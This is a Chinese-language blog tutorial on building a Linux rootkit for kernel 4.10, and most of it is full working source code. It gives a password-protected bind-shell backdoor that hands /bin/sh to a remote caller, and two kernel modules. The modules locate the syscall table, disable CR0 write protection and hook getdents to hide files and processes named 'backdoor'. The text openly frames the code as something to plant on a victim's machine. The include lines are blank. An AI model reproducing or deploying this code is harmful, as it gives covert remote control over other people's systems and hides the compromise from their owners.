最近学习到rootkit,由于之前没怎么接触到Linux内核,系统调用具体实现这些稍底层的东西,并且参考的许多代码都是基于内核2.6的又不想重装低版本系统,所以踩了很多坑浪费了很多时间,查了许多资料,掉了许多头发,现稍整理希望能给后面采坑的人提供一点思路。
环境:
Ubuntu 16.04
linux内核版本 4.10.0-37
代码在这里
积分多的可以下载一下,没积分的后面也有完整代码
backdoor,说是后门程序,个人感觉后门程序的范围很大,偷偷装在别人电脑里面试图达到某些社(不)会(可)和(告)谐(人)目的的都是后门程序,只是功能不一样,地点不一样,有的在用户态有的在内核之类的,比如Rootkit,装在内核里面,隐藏文件、进程和网络链接之类的信息。
下面用socket写一个简单的backdoor,功能是打开受害者电脑特定端口,接收到攻击者的连接请求成功后打开一个bash,从而攻击者可以操纵受害者电脑做任何不可描述的事情。
打开端口进行监听–>接收到连接请求后发现是攻击者–>打开一个bash并将标准输入输出绑定到socket
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char **argv)
{
int i, listenfd, goshyoujinnsama;
pid_t pid;
int len = 128;
int port=8888;
char buf[len];
socklen_t len2;
struct sockaddr_in s_addr;
struct sockaddr_in c_addr;
char enterpass[32]="Stop! who are you ?";
char welcome[32]="Welcome,master!";
char password[5]="11111";
char sorry[32]="heheda !";
listenfd = socket(AF_INET,SOCK_STREAM,0);
if (listenfd == -1){
exit(1);
}
bzero(&s_addr,sizeof(s_addr));
s_addr.sin_family=AF_INET;
s_addr.sin_addr.s_addr=htonl(INADDR_ANY);
s_addr.sin_port=htons(port);
if (bind(listenfd, (struct sockaddr *)&s_addr, sizeof(s_addr)) == -1){
exit(1);
}
if (listen(listenfd, 20)==-1){
exit(1);
}
len2 = sizeof(c_addr);
while(1){
goshyoujinnsama = accept(listenfd, (struct sockaddr *)&c_addr, &len2);
if((pid = fork()) > 0)
{
exit(0);
}else if(!pid){
close(listenfd);
write(goshyoujinnsama, enterpass, strlen(enterpass));
memset(buf,'\0', len);
read(goshyoujinnsama, buf, len);
if (strncmp(buf,password,5) !=0){
write(goshyoujinnsama, sorry, strlen(sorry));
close(goshyoujinnsama);
exit(0);
}else{
write(goshyoujinnsama, welcome, strlen(welcome));
dup2(goshyoujinnsama,0);
dup2(goshyoujinnsama,1);
dup2(goshyoujinnsama,2);
execl("/bin/sh", "toSyojinn", (char *) 0);
}
}
}
close(goshyoujinnsama);
}
ok,backdoor就到这里,其实是很简单的代码,现在有许多工具都比这强大太多。
下面说隐藏,先是最简单的 ls
现在我们有了backdoor,可是他就在受害者小明的电脑上,万一小明想ls看一下文件夹里有什么那岂不是会被他发现多了个backdoor这么个玩意儿?我们辛辛苦苦装的这么精(简)致(漏)的后门程序岂不是要被干掉,不怕,我们让ls显示不出来。
首先,分析一下ls命令工作原理,输入strace ls:
发现ls调用了一个系统调用,getdents,那么我们只要把这个系统调用劫持了,换成我们自己的getdents不是就美滋滋了吗。
1.怎么劫持?
系统调用函数也是函数,也要存在内存里,也是通过地址访问,那么我们是不是可以把存放getdent这个系统调用地址的地方篡改成我们自己写的函数,这样别人调用getdents不就跑到我们自己写的函数里面去了吗?
2.怎么找到getdents这个系统调用的地址?
首先,有一个东西叫系统调用表,里面存放了所有系统调用函数的地址,这个表是一个数组,可以通过下标访问它的元素,即(系统调用函数地址),下标是什么呢,是系统调用号,系统调用号又是什么呢?是系统调用函数的编号,每一个系统调用都对应一个编号,从1开始。。。。这样只要找到系统调用表就能够找到getdents了。
3.怎么找到系统调用表?
有很多方法,比如通过IDT。具体就不详述了,网上一找一大堆
关于coding过程中的几个坑:
1.linux_dirent要不要在代码中自己定义,参考linux自己的说法是:
2.如果你在每次将模块insmod之后系统会崩掉的话
很大可能是内存的问题,比如说你在内核态操作了用户态的指针(dirp之类的),至于为什么要使用copy_fron_user函数的问题,以及进程运行在用户态和内核态的区别,参考这篇博文
3.还有许多坑忘了,代码里有许多printk,可以用来调试
不清楚怎么编译内核模块的可以看这里
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
struct linux_dirent{
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
static unsigned long ** sys_call_table;
long (*old_getdents)(unsigned int fd, struct linux_dirent __user *dirp,
unsigned int count);
void disable_write_protection(void)
{
unsigned long cr0 = read_cr0();
clear_bit(16, &cr0);
write_cr0(cr0);
}
void enable_write_protection(void)
{
unsigned long cr0 = read_cr0();
set_bit(16, &cr0);
write_cr0(cr0);
}
void *
get_lstar_sct_addr(void)
{
u64 lstar;
u64 index;
rdmsrl(MSR_LSTAR, lstar);
for (index = 0; index <= PAGE_SIZE; index += 1) {
u8 *arr = (u8 *)lstar + index;
if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) {
return arr + 3;
}
}
return NULL;
}
unsigned long **
get_lstar_sct(void)
{
//printk("222222222222222222222222222222222222222222222222222222222222222");
unsigned long *lstar_sct_addr = get_lstar_sct_addr();
if (lstar_sct_addr != NULL) {
u64 base = 0xffffffff00000000;
u32 code = *(u32 *)lstar_sct_addr;
return (void *)(base | code);
} else {
return NULL;
}
}
asmlinkage long my_getdents(unsigned int fd, struct linux_dirent __user *dirp,
unsigned int count){
struct linux_dirent *td,*td1,*td2,*td3;
int number;
int copy_len = 0;
//printk("111111111111111111111111111111111111111111111111111111111111");
// 调用原始的系统调用,下面对返回结果进行过滤
number = (*old_getdents) (fd, dirp, count);
if (!number)
return (number);
// 分配内核空间,并把用户空间的数据拷贝到内核空间
td2 = (struct linux_dirent *) kmalloc(number, GFP_KERNEL);
td1 = (struct linux_dirent *) kmalloc(number, GFP_KERNEL);
td = td1;
td3 = td2;
copy_from_user(td2, dirp, number);
while(number>0){
//printk("33333333333333333333333333333333333333333333333333333333333");
//printk("%d\n",number);
//printk("%d\n",td2->d_reclen);
number = number - td2->d_reclen;
//printk("%s\n",td2->d_name);
if(strstr(td2->d_name,"backdoor") == NULL){
memmove(td1, (char *) td2 , td2->d_reclen);
td1 = (struct linux_dirent *) ((char *)td1 + td2->d_reclen);
copy_len = copy_len + td2->d_reclen;
}
td2 = (struct linux_dirent *) ((char *)td2 + td2->d_reclen);
}
// 将过滤后的数据拷贝回用户空间
copy_to_user(dirp, td, copy_len);
kfree(td);
kfree(td3);
return (copy_len);
}
static int filter_init(void)
{
//int i = 0;
sys_call_table = get_lstar_sct();
if (!sys_call_table)
{
//printk("get_act_addr(): NULL...\n");
return 0;
}
else{
//printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
old_getdents = (void *)sys_call_table[__NR_getdents];
//printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned long *)old_getdents);
//printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned long *)&my_getdents);
disable_write_protection();
sys_call_table[__NR_getdents] = (unsigned long *)&my_getdents;
enable_write_protection();
//printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
//printk("sct: 0x%p\n", (unsigned long)sys_call_table);
return 0;
}
}
static void filter_exit(void)
{
//printk("----------------------------------------------------------------------------------");
//printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
disable_write_protection();
sys_call_table[__NR_getdents] = (unsigned long *)old_getdents;
enable_write_protection();
//printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
//printk(KERN_INFO "hideps: module removed\n");
}
MODULE_LICENSE("GPL");
module_init(filter_init);
module_exit(filter_exit);
注意if(strstr(td2->d_name,”backdoor”) == NULL){ ,这行代码里的backdoor改成自己想隐藏的文件名。
下面说隐藏进程
和ls差不多
和ls差不多
和ls差不多
ok ,其实这里和ls差不多,唯一不同的是,隐藏文件的时候直接用d_name匹配我们想要隐藏的文件名就行了,而隐藏进程时,我们获得的d_name是进程的PID号,必须要知道这个PID号代表的进程的名字是什么。
那么怎么知道PID号对应的文件名?
看了很多网上流传的代码,基本上都是通过current宏来获取当前执行进程的task_struct指针,然后又知道这些task_struct都是存放在一个双向循环链表里面的,这样就可以调用list_for_each_entry函数遍历这个链表,找到PID对应的进程,通过comm属性得到名字。但是我没调试成功,还是太菜了。。。
换个方式,/proc目录下面尊放了很多进程信息,而/proc/…/status文件的第一行就是进程名,所以我决定直接读取里面的信息得到名字,调试过程中出现了很多莫名其妙的问题,还是自己对内核不够了解导致的,具体实现如下:
int check_pid_Name(char *pid_name,int len) {
int m_flag = 0;
struct file *fp;
mm_segment_t fs;
loff_t pos;
char *buf1;
char *t_pid_name;
char * pro = "/proc/";
char * statu = "/status";
buf1 = (char *) kmalloc(64, GFP_KERNEL);
t_pid_name = (char *) kmalloc(len + 14, GFP_KERNEL);
memmove(t_pid_name, (char *) pro , 6);
memmove(t_pid_name + 6, (char *) pid_name , len);
memmove(t_pid_name + 6 + len, (char *) statu , 7);
fp = filp_open(t_pid_name,O_RDONLY,0000);
if (IS_ERR(fp)){
printk("open file error/n");
return -1;
}
fs = get_fs();
set_fs(KERNEL_DS);
pos =0;
vfs_read(fp, buf1, 64, &pos);
if (strstr(buf1,"backdoor") == NULL)
{
m_flag = 1;
}
printk("read: %s/n",buf1);
filp_close(fp,NULL);
set_fs(fs);
kfree(buf1);
kfree(t_pid_name);
return m_flag;
}
编译时会有很多警告,基本都是prink造成的,可以无视
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
struct linux_dirent{
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
static unsigned long ** sys_call_table;
long (*old_getdents)(unsigned int fd, struct linux_dirent __user *dirp,
unsigned int count);
void disable_write_protection(void)
{
unsigned long cr0 = read_cr0();
clear_bit(16, &cr0);
write_cr0(cr0);
}
void enable_write_protection(void)
{
unsigned long cr0 = read_cr0();
set_bit(16, &cr0);
write_cr0(cr0);
}
void *
get_lstar_sct_addr(void)
{
u64 lstar;
u64 index;
rdmsrl(MSR_LSTAR, lstar);
for (index = 0; index <= PAGE_SIZE; index += 1) {
u8 *arr = (u8 *)lstar + index;
if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) {
return arr + 3;
}
}
return NULL;
}
unsigned long **
get_lstar_sct(void)
{
printk("222222222222222222222222222222222222222222222222222222222222222");
unsigned long *lstar_sct_addr = get_lstar_sct_addr();
if (lstar_sct_addr != NULL) {
u64 base = 0xffffffff00000000;
u32 code = *(u32 *)lstar_sct_addr;
return (void *)(base | code);
} else {
return NULL;
}
}
int check_pid_Name(char *pid_name,int len) {
int m_flag = 0;
struct file *fp;
mm_segment_t fs;
loff_t pos;
char *buf1;
char *t_pid_name;
char * pro = "/proc/";
char * statu = "/status";
//char c_name[len + 13];
buf1 = (char *) kmalloc(64, GFP_KERNEL);
t_pid_name = (char *) kmalloc(len + 14, GFP_KERNEL);
memmove(t_pid_name, (char *) pro , 6);
memmove(t_pid_name + 6, (char *) pid_name , len);
memmove(t_pid_name + 6 + len, (char *) statu , 7);
//c_name = t_pid_name;
printk("%s\n",pid_name);
printk("%s\n",t_pid_name);
printk("%d\n",len);
fp = filp_open(t_pid_name,O_RDONLY,0000);
if (IS_ERR(fp)){
printk("open file error/n");
return -1;
}
fs = get_fs();
set_fs(KERNEL_DS);
pos =0;
vfs_read(fp, buf1, 64, &pos);
if (strstr(buf1,"backdoor") == NULL)
{
m_flag = 1;
}
printk("read: %s/n",buf1);
filp_close(fp,NULL);
set_fs(fs);
kfree(buf1);
kfree(t_pid_name);
return m_flag;
}
int is_int(char *str)
{
int str_len = 0;
char *ptr;
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
{
if (*ptr >= '0' && *ptr <= '9')
str_len = str_len + 1;
}
return (str_len);
}
asmlinkage long my_getdents(unsigned int fd, struct linux_dirent __user *dirp,
unsigned int count){
struct linux_dirent *td,*td1,*td2,*td3;
int number;
int copy_len = 0;
printk("111111111111111111111111111111111111111111111111111111111111");
// 调用原始的系统调用,下面对返回结果进行过滤
number = (*old_getdents) (fd, dirp, count);
if (!number)
return (number);
// 分配内核空间,并把用户空间的数据拷贝到内核空间
td2 = (struct linux_dirent *) kmalloc(number, GFP_KERNEL);
td1 = (struct linux_dirent *) kmalloc(number, GFP_KERNEL);
td = td1;
td3 = td2;
copy_from_user(td2, dirp, number);
while(number>0){
printk("33333333333333333333333333333333333333333333333333333333333");
printk("%d\n",number);
printk("%d\n",td2->d_reclen);
number = number - td2->d_reclen;
printk("%s\n",td2->d_name);
if(check_pid_Name(td2->d_name,is_int(td2->d_name))){
memmove(td1, (char *) td2 , td2->d_reclen);
td1 = (struct linux_dirent *) ((char *)td1 + td2->d_reclen);
copy_len = copy_len + td2->d_reclen;
}
td2 = (struct linux_dirent *) ((char *)td2 + td2->d_reclen);
}
// 将过滤后的数据拷贝回用户空间
copy_to_user(dirp, td, copy_len);
kfree(td);
kfree(td3);
return (copy_len);
}
static int filter_init(void)
{
sys_call_table = get_lstar_sct();
if (!sys_call_table)
{
printk("get_act_addr(): NULL...\n");
return 0;
}
else{
printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
old_getdents = (void *)sys_call_table[__NR_getdents];
printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned long *)old_getdents);
printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned long *)&my_getdents);
disable_write_protection();
sys_call_table[__NR_getdents] = (unsigned long *)&my_getdents;
enable_write_protection();
printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
printk("sct: 0x%p\n", (unsigned long)sys_call_table);
return 0;
}
}
static void filter_exit(void)
{
printk("----------------------------------------------------------------------------------");
printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
disable_write_protection();
sys_call_table[__NR_getdents] = (unsigned long *)old_getdents;
enable_write_protection();
printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
printk(KERN_INFO "hideps: module removed\n");
}
MODULE_LICENSE("GPL");
module_init(filter_init);
module_exit(filter_exit);
以上